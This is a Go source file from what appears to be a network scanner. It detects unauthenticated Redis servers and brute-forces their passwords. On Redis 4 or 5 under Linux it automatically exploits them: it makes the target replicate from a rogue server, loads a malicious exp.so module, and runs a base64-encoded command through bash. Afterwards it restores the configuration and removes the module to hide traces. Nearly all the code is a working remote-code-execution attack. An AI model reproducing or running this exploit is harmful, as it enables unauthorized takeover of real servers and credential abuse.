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redis.go
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redis.go
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package plugins
import (
"encoding/base64"
"errors"
"fmt"
"log"
"net"
"strings"
"time"
"github.com/404tk/lazyscan/common"
)
var (
dbfilename string
dir string
)
func RedisScan(info *common.HostInfo) error {
starttime := time.Now().Unix()
flag, err := RedisUnauth(info)
if flag == true {
return err
}
for _, pass := range info.Passwords {
pass = strings.Replace(pass, "{user}", "redis", -1)
flag, err := RedisConn(info, pass)
if flag == true {
return err
} else {
if time.Now().Unix()-starttime > (int64(len(info.Passwords)) * info.Timeout) {
return errors.New("timeout.")
}
}
}
return nil
}
func RedisConn(info *common.HostInfo, pass string) (flag bool, err error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Port)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return flag, err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
if err != nil {
return flag, err
}
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
if err != nil {
return flag, err
}
reply, err := readreply(conn)
if err != nil {
return flag, err
}
if strings.Contains(reply, "+OK") {
flag = true
result := fmt.Sprintf("[%s] Redis password: %s", realhost, pass)
log.Println(result)
if info.Queue != nil {
vuln := common.Vuln{
Host: info.Host,
Port: info.Port,
Pass: pass,
}
info.Queue.Push(vuln)
}
dbfilename, dir, err = getconfig(conn)
if err != nil {
return flag, err
}
_, err = conn.Write([]byte("info\r\n"))
if err != nil {
return flag, err
}
reply, err := readreply(conn)
if err != nil {
return flag, err
}
if strings.Contains(reply, "\nredis_version:5") || strings.Contains(reply, "\nredis_version:4") {
if strings.Contains(reply, "\nos:Linux") {
RedisExec(conn, info.RedisRogueServer, info.Command.TCPCommand)
}
}
}
return flag, err
}
func RedisUnauth(info *common.HostInfo) (flag bool, err error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Port)
conn, err := net.DialTimeout("tcp", realhost, time.Duration(info.Timeout)*time.Second)
defer func() {
if conn != nil {
conn.Close()
}
}()
if err != nil {
return flag, err
}
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout) * time.Second))
if err != nil {
return flag, err
}
_, err = conn.Write([]byte("info\r\n"))
if err != nil {
return flag, err
}
reply, err := readreply(conn)
if err != nil {
return flag, err
}
if strings.Contains(reply, "redis_version") {
flag = true
result := fmt.Sprintf("[%s] Redis unauthorized", realhost)
log.Println(result)
if info.Queue != nil {
vuln := common.Vuln{
Host: info.Host,
Port: info.Port,
Unauth: true,
}
info.Queue.Push(vuln)
}
dbfilename, dir, err = getconfig(conn)
if err != nil {
return flag, err
}
if strings.Contains(reply, "\nredis_version:5") || strings.Contains(reply, "\nredis_version:4") {
if strings.Contains(reply, "\nos:Linux") {
RedisExec(conn, info.RedisRogueServer, info.Command.TCPCommand)
}
}
}
return flag, err
}
func RedisExec(conn net.Conn, addr, cmd string) {
if addr == "" || cmd == "" {
return
}
log.Println("开始利用redis主从复制")
conn.SetDeadline(time.Now().Add(20 * time.Second))
conn.Write([]byte("SLAVEOF " + strings.Replace(addr, ":", " ", -1) + "\n"))
conn.Write([]byte("config set dbfilename exp.so\n"))
// 主从复制需要等待2s
time.Sleep(2 * time.Second)
conn.Write([]byte("module load ./exp.so\n"))
conn.Write([]byte("SLAVEOF NO ONE\n"))
// 命令执行
b64 := base64.StdEncoding.EncodeToString([]byte(cmd))
cmd = fmt.Sprintf("echo %s | base64 -d | bash", b64)
conn.Write([]byte(fmt.Sprintf("system.exec \"%s\"\n", cmd)))
recoverdb(dbfilename, dir, conn)
conn.Write([]byte("system.exec 'rm ./exp.so'\n"))
conn.Write([]byte("module unload system\n"))
}
func readreply(conn net.Conn) (result string, err error) {
size := 5 * 1024
buf := make([]byte, size)
for {
count, err := conn.Read(buf)
if err != nil {
break
}
result += string(buf[0:count])
if count < size {
break
}
}
return result, err
}
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
if err != nil {
return
}
text, err := readreply(conn)
if err != nil {
return
}
text1 := strings.Split(text, "\r\n")
if len(text1) > 2 {
dbfilename = text1[len(text1)-2]
} else {
dbfilename = text1[0]
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG GET dir\r\n")))
if err != nil {
return
}
text, err = readreply(conn)
if err != nil {
return
}
text1 = strings.Split(text, "\r\n")
if len(text1) > 2 {
dir = text1[len(text1)-2]
} else {
dir = text1[0]
}
return
}
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename)))
if err != nil {
return
}
dbfilename, err = readreply(conn)
if err != nil {
return
}
_, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir)))
if err != nil {
return
}
dir, err = readreply(conn)
if err != nil {
return
}
return
}